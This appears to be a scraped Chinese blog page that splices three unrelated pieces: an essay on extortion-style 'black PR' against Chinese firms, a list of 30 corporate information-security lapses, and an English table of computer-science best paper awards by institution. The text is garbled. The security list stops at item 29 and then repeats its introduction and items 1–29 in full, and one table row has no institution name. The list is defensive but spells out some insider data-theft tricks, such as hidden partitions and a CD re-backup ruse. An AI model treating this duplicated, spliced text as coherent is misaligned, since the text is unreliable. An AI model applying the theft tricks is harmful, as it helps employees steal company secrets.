"公关(Public Relations，简称PR)"是由美国传媒行业在20世纪初创造出来的概念，属于管理功能，意指"组织机构与公众环境之间的沟通与传播关系"，随着舆 论经济的发达、Edward L.Bernays这类学者的推动以及《公关第一，广告第二》等营销经典教材的风靡，正式成为政府和企业的一门必修课。
从事公关行业能够明显察觉，公关对于其理念的忠实程度和它所在的地缘政治的媒体自由及社会民主程度呈标准的正比趋势。也就是说，一个国家或者地 区的媒体越是落后、越受限制，政治体制距离民主精神越远，那么公关在这片土壤上就越容易演变成为一个与其原生概念完全不同的产物。这个不仅是在公关行业， 干过啤酒渠道拓展业务的应该也都能体会，想要在中国一个县级城市的餐馆里推广某个品牌的啤酒，与其啤酒的口味、品牌、广宣等内容都完全无关，只要搞定当地 负责某个片区的地头蛇，后者自然会带着人马去帮你规定区域内的餐馆必须买进什么啤酒。
在中国互联网这个受法律和体制约束更小的世界里，有很多实际上是公关无法实现的功能需求，都是在由"黑公关"以"公关"的名义在行事。和"黑客"利用技术实现目的的方式不同，"黑公关"里的技术含量甚少，更多的是在四两拨千斤，用资源作为杠杆，对目标进行打击和讹诈。
土豆网本在2010年――纳斯达克中概股最热的时期赴美上市，土豆网创始人王微遭 遇前妻杨蕾半路截杀，要求分割土豆网38%的股权，上海徐汇区法院冻结了王微名下所持有土豆网的股份，直接逼停土豆网的上市进程。等到王微自掏700万美 元现金补偿的期间，优酷网成为中国首家赴美上市的独立视频分享网站，一年之后，土豆网重启IPO时迎来中概股遇冷，"流血上市"的结果是让土豆网和优酷网 这两家本是不相伯仲的视频网站在纳斯达克的市值几乎呈1：5的比例，优酷网最后轻松吞并土豆网，王微出局再创业，如同电视剧一样跌宕起伏。而这仅是公开在 表面上的故事，不为人知的暗流仍然涌动在地下世界。如果土豆网真的成功成为中国第一家上市的视频分享网站，土豆网的市值绝非后来开盘当日即惨跌12%停在 仅仅7.1亿美元的程度可比，而相应的，王微的身价也会水涨船高含金量更足，那时再来谈离婚和财产分割，获益显然比区区700万美元要可观得多。这个时 候，拦在王微和土豆网的面前，于情于理都没有任何好处。
神州租车也曾计划在2012年启动上市，但是几乎是在消息传出的一夜之间，各大主流媒体、社交网络上都出现了关于神州租车的负面新闻，且用词相 当激烈。神州租车的董事长陆正耀后来在微博上咆哮，"没完没了的水军攻击、伪装成客户向媒体爆料，居然还买广告版面发我们的负面，我怒了！"也是出于对 "黑公关"的不堪招架。2012年4月，神州租车估值被一级级的调低，最后基本上缩水得看不到回报率，只得临时退出上市程序。
《深圳商报》曾经有过一篇《黑心公关"猎杀"上市公司》的简单报道，揭露了一些企业在上市前夕会被人为的盯上，瞄准企业为了顺利上市而"谨小慎 微、希望顺风顺水"的心态，以胁迫的方式谋取利益，如果企业配合，"黑公关"机构就愿意顺水推舟高抬贵手，做一笔人情买卖，若是企业拒绝配合，那就会有 "从中作梗"、"故意找茬"的事件频频发生，在企业上市的步履下使绊子。
"黑公关"一般掌握有多种形式的资源，平面及网络媒体、业界名流、水军都是常见资源，3.15等特殊时期更是有着堪称"核武器"的曝光机会，用 "翻手为云、覆手为雨"来形容并不过分。向筹划上市的商业公司进行"勒索"虽然单笔利润丰厚，但从频率上来讲却是可遇而不可求，更多的时候他们都会"自 造"机会。
包括很多门户在内的一些网站，由于人力成本的原因，一些有着长尾价值的二级频道无法自营，便会外包给一些公司，由后者每年缴纳一定"代理费"， 然后独立运作代理的频道，自负盈亏。不少"黑公关"也盯上了这块肥肉，拿下代理之后，利用该频道因为隶属门户网站而能够被百度等搜索引擎的新闻栏目爬虫索 引收录的资格，逐家的找频道主题相关的企业索要广告费用，如若遭到拒绝，就会开始不断的曝光企业负面，而中国的很多网络新闻站点又存在着"采集"这一内容 组织模式――即为了填充内容更新，网站和网站之间会互相转载新闻信息，这导致企业的负面信息会在短时间内变得极其庞杂，进而影响企业的订单、投资等收益。 这时，"黑公关"再会以另一家壳公司的名义，上门"点拨"企业，贩卖删帖生意。这就是为什么我们会从很多地方看到对删帖公司"神通广大"的渲染，其实有些 时候并不是他们有能力去"删"帖，而是帖子本身就出自他们，他们只是将帖子作为商品进行"下架"处理而已。
当然，也有"黑公关"出过事，当一个狠人遇到比自己更狠的人时，如果察觉不到危险，一定会吃亏。360的周鸿�就 是这么一个更狠的人，故事其实业内都知道，周鸿�说你把你的老大叫上一起等我，我带钱过来，然后自己没去，叫手下带了警察过去，人赃俱获的把对方给端掉 了。但更多的企业没有这个胆识，一来在中国这个环境，没有一点小辫子存在的企业实在少之又少，二来企业本身也会顾虑能否做事做得"太绝"，用钱能够解决的 问题在大多数情况下其实都不算太大的问题，如果惹怒了对方，导致用钱解决不了的报复上门，那时的摊子才更加难以收拾。
至于一些杯弓蛇影的媒体，将"黑公关"描绘为日进斗金的暴利的产业，倒也没有那么夸张。有从业人士对我吐过苦，寻找要黑的目标其实也是一件十分 困难的事情，小的企业，它根本不在乎，你发他成百上千篇负面，可能反倒帮它做了宣传，而大点的企业，也都开始重视对法务部门的建设和投入了，万一引火烧 身，也是得不偿失。而且在中国做生意并非完全靠市场，像蒙牛这样的厂商，无论是真的出事还是被黑，它的业绩还是很好，原因很简单，它搞定了工商(政治渠 道)和货架(销售渠道)，给消费者提供的是一个单选局面，又怎么会真的害怕舆论口碑呢。
可以说，"黑公关"只是一种极端的、越界的灰色模式，它的内核精神――"强买强卖，否则就不客气"在地上互联网世界也有着文明形态的存在：做过 网站的人都知道，哪一天百度竞价排名的销售打电话上门来了，就意味着好日子的终结，如果不成为百度的付费客户，那么很快，你的网站在百度那里的收录数量将 会急剧减少，你的客户无法或者很难从百度上找到你；而当美国互联网的"门户"模式都濒临破产的时候，中国的"门户"网站仍然茁壮成长，这里面也有美国互联 网难以企及的一些因素，很多广告位在卖给企业的时候，企业投放的心态都是"花钱消灾"；360和腾讯开战之前，周鸿�找腾讯，希望联合腾讯先打百度，被马 化腾拒绝，后来周鸿�就延迟做搜索到2年之后，先打了"不识抬举"的腾讯……
"黑客"、"色情"、"黑公关"并非地下互联网世界的全部，还有一些与"炒股"、"赌博"等主题相关的产业链，也在大众视野之外很是滋润的运转 着。换句话说，只要能够保证利润的灰暗地带，都会有真菌孢子的滋生。中国媒体曾经从卡尔・马克思的《资本论》中引申出一句话，说的是"如果有100%的利 润，资本家们会挺而走险；如果有200%的利润，资本家们会藐视法律；如果有300%的利润，那么资本家们便会践踏世间的一切。"这句话本身逻辑存在硬 伤，而且其实也不是《资本论》里的原文(而是中国当年在翻译中增加的注解)，但是它所指向的现象是被广泛证明了的，环境污染、食品隐患等社会矛盾的原因皆 出于此，地下互联网的存活根源也不例外。
德国哲学先贤黑格尔在《Grundlinien der Philosophie des Rechts》中提出了"存在即合理"的辩证逻辑，所谓"合理"，常被曲解为"合乎道理"，实际意指的应当是"并非偶然"。在本文末尾，我想借用来解释地 下互联网世界的存在：互联网不是一个脱离现实社会的时空，恰恰相反，它由现实社会中拔根而起，同时汲取了文明的黑白两面，无论是地上、地面还是地下，生长 出来的果实都是同根同种，有一些无法公开的需求和意图，并不会凭空消失，陷到地下，自然有被满足的机会。我们没有必要上纲上线，时间的流逝、法制的完善、 科技的进化、文化的变迁会来解决这些，在那之前，不妨安然旁观，"让上帝的归上帝，让凯撒的归凯撒。"
企业不注意的30个信息安全方面细节
小心30个细节，一分钟毁灭你的公司这是一个以1%、2%决胜负的商业时代，
一个信息就可以左右企业的成败。
这个信息在自己手里是王牌，在对手手里是炸弹。如此重要的信息，可能在老板的大脑里、公司电脑里、一个打印稿的背面，甚至在一个垃圾筐里。随时都有泄漏的可能，泄漏的结果轻则使公司蒙受损失，重则毁灭公司。
你要怎么防备？
信息安全？"不就是安装杀毒软件，在电脑上设设密码吗"？当你这样想，你就和全世界95%的人一样，都错估、低估了信息对公司的致命影响；好在全世界就 是有5%的人，和《中国财富》一样，恐惧、震慑、急着应变于信息对商业世界爆炸性的影响力，他们是谁——诺基亚（NOKIA）、微软 （Microsoft）、麦格劳希尔（Mcgraw-Hill Company）、还有可口可乐（Coca-Cola）……
谁是那百分之五？
当你读这篇文章的时候，全世界又有2个企业因为信息安全问题倒闭，有11个企业因为信息安全问题造成大概800多万的直接经济损失。中国财富通过对100个经理人的调查总结30个致命细节，让您5分钟快速成为信息安全专家。
1、打印机——10秒延迟带来信息漏洞
即使是激光打印机，也有10秒以上的延迟，如果你不在第9秒守在打印机的旁边，第一个看到文件的人可能就不是你了。大部分的现代化公司都使用公用的打印 机，并且将打印机、复印机等器材放在一个相对独立的空间里。于是，部门之间的机密文件就可以从设备室开始，在其他部门传播，当部门之间没有秘密，公司也就 没有秘密了。
2、打印纸背面——好习惯换取的大损失
节约用纸是很多公司的好习惯，员工往往会以使用背面打印纸为荣。其实，将拥有这种习惯公司的"废纸"收集在一起，你会发现打印、复印造成的废纸所包含公司机密竟然如此全面，连执行副总都会觉得汗颜，因为废纸记载了公司里比他的工作日记都全面的内容。
3、电脑易手——新员工真正的入职导师
我们相信，所有的职业经理人都有过这样的经历：如果自己新到一家公司工作，在自己前任的电脑里漫游是了解新公司最好的渠道。在一种近似"窥探"的状态下， 公司里曾经发生过的事情"尽收眼底"，从公司以往的客户记录、奖惩制度、甚至你还有幸阅读前任的辞呈。如果是其他部门的电脑，自然也是另有一番乐趣。
4、共享——做好文件再通知窃取者
局域网中的共享是获得公司内部机密最后的通道。有的公司为了杜绝内部网络泄密，规定所有人在共享以后一定要马上取消。实际上越是这样，企业通过共享泄露机 密的风险越大。因为当人们这样做的时候，会无所顾及地利用共享方式传播信息，人们习惯的方式是在开放式办公间的这边对着另一边的同事喊："我放在共享里 了，你来拿吧——"，没错，会有人去拿的，却往往不只是你期望的人。
5、指数对比——聪明反被聪明误
在传统的生产型企业之间，经常要推测竞争对手的销售数量、生产数量。于是，人们为了隐藏自己的实际数量，而引入了统计学里的指数，通过对实际数量的加权， 保护自己的机密信息。唯一让人遗憾的是，通常采取的简单基期加权，如果被对方了解到几年内任何一个月的真实数量，所有的真实数量就一览无余地出现在竞争对 手的办公桌上了。
6、培训——信息保卫战从此被动
新员工进入公司，大部分的企业会对新员工坦诚相见。从培训的第一天开始，新员工以"更快融入团队"的名义，接触公司除财务以外所有的作业部门，从公司战略 到正在采取的战术方法，从公司的核心客户到关键技术。但事实上，总有超过五分之一的员工会在入职三个月以后离开公司。同时，他们中的大部份没有离开现在从 事的行业，或许正在向你的竞争对手眉飞色舞地描述你公司的一草一木。
7、传真机——你总是在半小时后才拿到发给你的传真
总有传真是"没有人领取"的，每周一定有人收不到重要的传真；人们总是"惊奇地"发现，自己传真纸的最后一页是别人的开头，而你的开头却怎么也找不到了。
8、公用设备——不等于公用信息
在小型公司或者一个独立的部门里，人们经常公用U盘、软盘或手提电脑。如果有机会把U盘借给公司的新会计用，也就有可能在对方归还的时候轻易获得本月的公司损益表。
9、摄像头——挥手之间断送的竞标机会
总部在上海的一家国内大型广告公司，在2004年3月出现的那一次信息泄露，导致竞标前一天，广告创意被竞争对手窃取，原因竟然是主创人员的OICQ上安装了视频，挥手之间，断送的或许并不仅仅是一次合作的机会。
10、产品痕迹——靠"痕迹"了解你的未来
在市场调查领域，分析产品痕迹来推断竞争对手行销效果和行销策略是通用的方法。产品的运输、仓储、废弃的包装，都可以在竞争对手购买的调研报告中出现，因为"痕迹分析"已经是商业情报收集的常规手段。
11、压缩软件——对信息安全威胁最大的软件
ZIP、RAR是威胁企业信息安全最大的软件。3寸软盘的存储空间是1.4M，压缩软件可以让大型的WORD文件轻松存入一张软盘，把各种资料轻松带出公司。
12、光盘刻录——资料在备份过程中流失
如果想要拿走公司的资料，最好的办法是申请光盘备份，把文件做成特定的格式，交给网络管理员备份，然后声称不能正常打开，要求重新备份，大多情况下，留在光驱里的"废盘"就可以在下班后大大方方带出公司。
13、邮箱——信息窃取的中转站
利用电子邮件转移窃取的公司资料占所有信息窃取的八成以上。很多企业不装软驱、光驱、USB接口，却没有办法避免员工通过电子邮件的窃取信息，相比之下，以上方法显得有些幼稚、可笑。
14、隐藏分区——长期窃取公司资料必备手法
长期在公司内搜集资料，用来出售或保留，总是件危险的事情。自己的电脑总是不免被别人使用，发现电脑里有不该有的东西怎么行。于是隐藏在硬盘分区就成了最 佳选择，本来有C、D、E三个虚拟分区，可以把E隐藏起来，只有自己可以访问。当然，如果遇到行家，合计一下所有磁盘的总空间，可就一定露馅了。
15、私人电脑——大量窃取资料常用手段
压缩软件的作用毕竟是有限的，如果把自己的笔记本电脑拿到单位来，连上局域网，只要半小时，就是有1个G的文件也可以轻松带走。
16、会议记录——被忽视的公司机密
秘书往往把会议记录看得很平常，他们不知道一次高层的会议记录对于竞争对手意味着什么，公司里经常可以看见有人把会议记录当成废纸丢来丢去，任由公司最新的战略信息在企业的任何角落出现。
17、未被采纳的策划案——放弃也是一种选择
策划人员知道被采纳的策划是公司机密，去往往不知道被放弃的策划也是公司机密。有时还会对客户或媒体谈起，而竞争对手可以轻松判断：你没有做这些，就一定选择做了那些！
18、客户——你的机密只是盟友的谈资
经常可以在网络上看到著名咨询公司的客户提案，这些精心制作的PPT，凝聚了咨询公司团队的汗水和无数个不眠之夜，在一些信用较差的客户手里可能只是一些随意传播的谈资。
19、招聘活动——你的公司竟然在招聘总监？
在招聘过程中，成熟的企业不会把用人的单位登在一张广告里，因为那无异于告诉你的竞争对手：刚刚发生过人力震荡，人力匮乏。
20、招标前两分钟——最后的底价总是在最后"出炉"
如果投标的底价内部公开越早，出现泄露的风险越大，在招标开始前两分钟，面对关掉手机的参会者，可以公布底价了！
21、解聘后半小时——不要给他最后的机会
如果被解雇的员工是今天才得到这个消息，那么，不要让他再回到他的电脑旁。半个小时的时间，刚好可以让他收拾自己的用品，和老同事做简短的告别，天下没有不散的筵席，半小时足够了，为了离职员工的清白，更为了信息安全。
22、入职后一星期——新人在第一个星期里收集的资料是平时的5倍
只有在这一个星期里，他是随时准备离开的，他时刻处在疯狂的拷贝和传送状态，提防你的新员工，无论你多么欣赏他。
23、合作后半个月——竞争对手窃取情报的惯用手法是：假冒客户
在初次合作的半个月里，你对信息安全的谨慎只能表明企业做事的严谨，可以赢得大部分客户的谅解和尊敬。除非，他是你的竞争对手。
24、离职后30天——危险来自公司以外
一般情况下，一个为企业服务半年以上的员工，离职后30日之内会和公司现有员工保持频繁的联系，并且对公司的资料和状况表现出极度的热情。如果是被限时离开，那么，在离职30天内通过老同事窃取公司信息的可能性就更大。
25、明确对外提案原则——能不留东西的就不给打印稿
能不给电子档的就尽量给打印稿，能用电子书就不用通用格式。
26、保密协议——无论作用大小，和员工签定清晰的保密协议还是必要的
无规矩不成方圆，明确什么是对的，人们才可以杜绝错的。保密协议的内容越详细越好，如果对方心胸坦白，自然会欣然同意。
27、责任分解——明确每个人对相关信息的安全责任
所有的机密文件如果出现泄露，可以根据规定找到责任人，追究是次要的，相互监督和防范才是责任分解的最终目的。
28、设立信息级别——对公司的机密文件进行级别划分
比如合同、客户交往、股东情况列为一级，确定机密传播的范围，让所有人了解信息的传播界限，避免因为对信息的不了解而导致的信息安全事故。
29、异地保存——别把鸡蛋放在同一个篮子里
一个信息就可以左右企业的成败。
这个信息在自己手里是王牌，在对手手里是炸弹。如此重要的信息，可能在老板的大脑里、公司电脑里、一个打印稿的背面，甚至在一个垃圾筐里。随时都有泄漏的可能，泄漏的结果轻则使公司蒙受损失，重则毁灭公司。
你要怎么防备？
信息安全？"不就是安装杀毒软件，在电脑上设设密码吗"？当你这样想，你就和全世界95%的人一样，都错估、低估了信息对公司的致命影响；好在全世界就 是有5%的人，和《中国财富》一样，恐惧、震慑、急着应变于信息对商业世界爆炸性的影响力，他们是谁——诺基亚（NOKIA）、微软 （Microsoft）、麦格劳希尔（Mcgraw-Hill Company）、还有可口可乐（Coca-Cola）……
谁是那百分之五？
当你读这篇文章的时候，全世界又有2个企业因为信息安全问题倒闭，有11个企业因为信息安全问题造成大概800多万的直接经济损失。中国财富通过对100个经理人的调查总结30个致命细节，让您5分钟快速成为信息安全专家。
1、打印机——10秒延迟带来信息漏洞
即使是激光打印机，也有10秒以上的延迟，如果你不在第9秒守在打印机的旁边，第一个看到文件的人可能就不是你了。大部分的现代化公司都使用公用的打印 机，并且将打印机、复印机等器材放在一个相对独立的空间里。于是，部门之间的机密文件就可以从设备室开始，在其他部门传播，当部门之间没有秘密，公司也就 没有秘密了。
2、打印纸背面——好习惯换取的大损失
节约用纸是很多公司的好习惯，员工往往会以使用背面打印纸为荣。其实，将拥有这种习惯公司的"废纸"收集在一起，你会发现打印、复印造成的废纸所包含公司机密竟然如此全面，连执行副总都会觉得汗颜，因为废纸记载了公司里比他的工作日记都全面的内容。
3、电脑易手——新员工真正的入职导师
我们相信，所有的职业经理人都有过这样的经历：如果自己新到一家公司工作，在自己前任的电脑里漫游是了解新公司最好的渠道。在一种近似"窥探"的状态下， 公司里曾经发生过的事情"尽收眼底"，从公司以往的客户记录、奖惩制度、甚至你还有幸阅读前任的辞呈。如果是其他部门的电脑，自然也是另有一番乐趣。
4、共享——做好文件再通知窃取者
局域网中的共享是获得公司内部机密最后的通道。有的公司为了杜绝内部网络泄密，规定所有人在共享以后一定要马上取消。实际上越是这样，企业通过共享泄露机 密的风险越大。因为当人们这样做的时候，会无所顾及地利用共享方式传播信息，人们习惯的方式是在开放式办公间的这边对着另一边的同事喊："我放在共享里 了，你来拿吧——"，没错，会有人去拿的，却往往不只是你期望的人。
5、指数对比——聪明反被聪明误
在传统的生产型企业之间，经常要推测竞争对手的销售数量、生产数量。于是，人们为了隐藏自己的实际数量，而引入了统计学里的指数，通过对实际数量的加权， 保护自己的机密信息。唯一让人遗憾的是，通常采取的简单基期加权，如果被对方了解到几年内任何一个月的真实数量，所有的真实数量就一览无余地出现在竞争对 手的办公桌上了。
6、培训——信息保卫战从此被动
新员工进入公司，大部分的企业会对新员工坦诚相见。从培训的第一天开始，新员工以"更快融入团队"的名义，接触公司除财务以外所有的作业部门，从公司战略 到正在采取的战术方法，从公司的核心客户到关键技术。但事实上，总有超过五分之一的员工会在入职三个月以后离开公司。同时，他们中的大部份没有离开现在从 事的行业，或许正在向你的竞争对手眉飞色舞地描述你公司的一草一木。
7、传真机——你总是在半小时后才拿到发给你的传真
总有传真是"没有人领取"的，每周一定有人收不到重要的传真；人们总是"惊奇地"发现，自己传真纸的最后一页是别人的开头，而你的开头却怎么也找不到了。
8、公用设备——不等于公用信息
在小型公司或者一个独立的部门里，人们经常公用U盘、软盘或手提电脑。如果有机会把U盘借给公司的新会计用，也就有可能在对方归还的时候轻易获得本月的公司损益表。
9、摄像头——挥手之间断送的竞标机会
总部在上海的一家国内大型广告公司，在2004年3月出现的那一次信息泄露，导致竞标前一天，广告创意被竞争对手窃取，原因竟然是主创人员的OICQ上安装了视频，挥手之间，断送的或许并不仅仅是一次合作的机会。
10、产品痕迹——靠"痕迹"了解你的未来
在市场调查领域，分析产品痕迹来推断竞争对手行销效果和行销策略是通用的方法。产品的运输、仓储、废弃的包装，都可以在竞争对手购买的调研报告中出现，因为"痕迹分析"已经是商业情报收集的常规手段。
11、压缩软件——对信息安全威胁最大的软件
ZIP、RAR是威胁企业信息安全最大的软件。3寸软盘的存储空间是1.4M，压缩软件可以让大型的WORD文件轻松存入一张软盘，把各种资料轻松带出公司。
12、光盘刻录——资料在备份过程中流失
如果想要拿走公司的资料，最好的办法是申请光盘备份，把文件做成特定的格式，交给网络管理员备份，然后声称不能正常打开，要求重新备份，大多情况下，留在光驱里的"废盘"就可以在下班后大大方方带出公司。
13、邮箱——信息窃取的中转站
利用电子邮件转移窃取的公司资料占所有信息窃取的八成以上。很多企业不装软驱、光驱、USB接口，却没有办法避免员工通过电子邮件的窃取信息，相比之下，以上方法显得有些幼稚、可笑。
14、隐藏分区——长期窃取公司资料必备手法
长期在公司内搜集资料，用来出售或保留，总是件危险的事情。自己的电脑总是不免被别人使用，发现电脑里有不该有的东西怎么行。于是隐藏在硬盘分区就成了最 佳选择，本来有C、D、E三个虚拟分区，可以把E隐藏起来，只有自己可以访问。当然，如果遇到行家，合计一下所有磁盘的总空间，可就一定露馅了。
15、私人电脑——大量窃取资料常用手段
压缩软件的作用毕竟是有限的，如果把自己的笔记本电脑拿到单位来，连上局域网，只要半小时，就是有1个G的文件也可以轻松带走。
16、会议记录——被忽视的公司机密
秘书往往把会议记录看得很平常，他们不知道一次高层的会议记录对于竞争对手意味着什么，公司里经常可以看见有人把会议记录当成废纸丢来丢去，任由公司最新的战略信息在企业的任何角落出现。
17、未被采纳的策划案——放弃也是一种选择
策划人员知道被采纳的策划是公司机密，去往往不知道被放弃的策划也是公司机密。有时还会对客户或媒体谈起，而竞争对手可以轻松判断：你没有做这些，就一定选择做了那些！
18、客户——你的机密只是盟友的谈资
经常可以在网络上看到著名咨询公司的客户提案，这些精心制作的PPT，凝聚了咨询公司团队的汗水和无数个不眠之夜，在一些信用较差的客户手里可能只是一些随意传播的谈资。
19、招聘活动——你的公司竟然在招聘总监？
在招聘过程中，成熟的企业不会把用人的单位登在一张广告里，因为那无异于告诉你的竞争对手：刚刚发生过人力震荡，人力匮乏。
20、招标前两分钟——最后的底价总是在最后"出炉"
如果投标的底价内部公开越早，出现泄露的风险越大，在招标开始前两分钟，面对关掉手机的参会者，可以公布底价了！
21、解聘后半小时——不要给他最后的机会
如果被解雇的员工是今天才得到这个消息，那么，不要让他再回到他的电脑旁。半个小时的时间，刚好可以让他收拾自己的用品，和老同事做简短的告别，天下没有不散的筵席，半小时足够了，为了离职员工的清白，更为了信息安全。
22、入职后一星期——新人在第一个星期里收集的资料是平时的5倍
只有在这一个星期里，他是随时准备离开的，他时刻处在疯狂的拷贝和传送状态，提防你的新员工，无论你多么欣赏他。
23、合作后半个月——竞争对手窃取情报的惯用手法是：假冒客户
在初次合作的半个月里，你对信息安全的谨慎只能表明企业做事的严谨，可以赢得大部分客户的谅解和尊敬。除非，他是你的竞争对手。
24、离职后30天——危险来自公司以外
一般情况下，一个为企业服务半年以上的员工，离职后30日之内会和公司现有员工保持频繁的联系，并且对公司的资料和状况表现出极度的热情。如果是被限时离开，那么，在离职30天内通过老同事窃取公司信息的可能性就更大。
25、明确对外提案原则——能不留东西的就不给打印稿
能不给电子档的就尽量给打印稿，能用电子书就不用通用格式。
26、保密协议——无论作用大小，和员工签定清晰的保密协议还是必要的
无规矩不成方圆，明确什么是对的，人们才可以杜绝错的。保密协议的内容越详细越好，如果对方心胸坦白，自然会欣然同意。
27、责任分解——明确每个人对相关信息的安全责任
所有的机密文件如果出现泄露，可以根据规定找到责任人，追究是次要的，相互监督和防范才是责任分解的最终目的。
28、设立信息级别——对公司的机密文件进行级别划分
比如合同、客户交往、股东情况列为一级，确定机密传播的范围，让所有人了解信息的传播界限，避免因为对信息的不了解而导致的信息安全事故。
29、异地保存——别把鸡蛋放在同一个篮子里
所有备份资料尽量做到异地保存，避免因为重大事故（如：火灾、地震、战争等）对企业信息带来致命的打击。
30、认为自己的企业在信息安全上无懈可击。
2013年4月23日星期二
Best Paper Awards in Computer Science (since 1996)
Best Paper Awards in Computer Science (since 1996)
By Conference: AAAI ACL CHI CIKM CVPR FOCS FSE ICCV ICML ICSE IJCAI INFOCOM KDD MOBICOM NSDI OSDI PLDI PODS S&P SIGCOMM SIGIR SIGMETRICS SIGMOD SODA SOSP STOC UIST VLDB WWW
Institutions with the most Best Papers
Much of this data was entered by hand (obtained by contacting past conference organizers, retrieving cached conference websites, and searching CVs) so please email me if you notice any errors or omissions: bestpaper-AT-jeffhuang.com. I tried to collect best paper awards from the top-tier conferences in each area, but some conferences do not have such an award (e.g. SIGGRAPH, CAV). "Distinguished paper award" and "outstanding paper award" are included but not "best student paper" (e.g. NIPS) or "best 10-year old paper" (e.g. POPL)
| Institutions with Best Papers | |
| Microsoft Research | 29.5 |
| Stanford University | 25.5 |
| Carnegie Mellon University | 22.9 |
| University of Washington | 21.3 |
| Massachusetts Institute of Technology | 20.7 |
| University of California Berkeley | 18.3 |
| University of Toronto | 13.3 |
| Cornell University | 11.9 |
| University of Illinois at Urbana-Champaign | 10.3 |
| University of Texas at Austin | 9.4 |
| IBM Research | 9.4 |
| University of British Columbia | 8.8 |
| University of California Irvine | 6.5 |
| University of Massachusetts Amherst | 6.2 |
| University of Oxford | 6.2 |
| Georgia Institute of Technology | 6.0 |
| 5.8 | |
| Princeton University | 5.6 |
| University of Maryland | 5.6 |
| University of Michigan | 5.2 |
| AT&T Laboratories | 4.9 |
| Yahoo! Research | 4.8 |
| McGill University | 4.7 |
| Weizmann Institute of Science | 4.5 |
| University of Nottingham | 4.3 |
| Rice University | 4.2 |
| University of California San Diego | 4.2 |
| École Polytechnique Fédérale de Lausanne | 3.9 |
| Technion | 3.8 |
| University of Wisconsin | 3.5 |
| Brown University | 3.3 |
| Bell Labs | 3.3 |
| Hewlett-Packard Labs | 3.2 |
| Université Paris-Sud | 3.1 |
| Columbia University | 3.1 |
| National University of Singapore | 3.0 |
| DePaul University | 3.0 |
| University of Alberta | 3.0 |
| Indiana University at Bloomington | 3.0 |
| University of North Carolina at Chapel Hill | 2.8 |
| Technische Universität Berlin | 2.7 |
| NEC Labs America | 2.7 |
| University of Waterloo | 2.7 |
| University of Nebraska-Lincoln | 2.6 |
| Max Planck Institut | 2.6 |
| University of Cambridge | 2.6 |
| Ohio State University | 2.4 |
| Duke University | 2.3 |
| Toyota Technological Institute at Chicago | 2.3 |
| University of Pennsylvania | 2.3 |
| Aarhus University | 2.3 |
| RWTH Aachen University | 2.2 |
| Tel-Aviv University | 2.2 |
| University of Calgary | 2.1 |
| Saarland University | 2.1 |
| Intel Research | 2.0 |
| Hasso Plattner Institute | 2.0 |
| Polytechnic Institute of New York University | 2.0 |
| University College London | 2.0 |
| Universidade Técnica de Lisboa | 2.0 |
| BBN Technologies | 2.0 |
| NASA Ames Research Center | 2.0 |
Credit is given in decreasing author order as customary in many fields. First authors are given 1 point, second authors are given 0.5 points, third authors are given 0.33 points, etc. These points are then divided by the sum of points for that paper, i.e. normalizing it. This ranking may be inaccurate or incomplete, may not reflect the current state of best paper awards, and is not an official list. If you are not satisfied with the ranking listed here, please disregard it.
Back to Jeff Huang's Homepage
Page last updated: 2013-04-10
订阅：
博文 (Atom)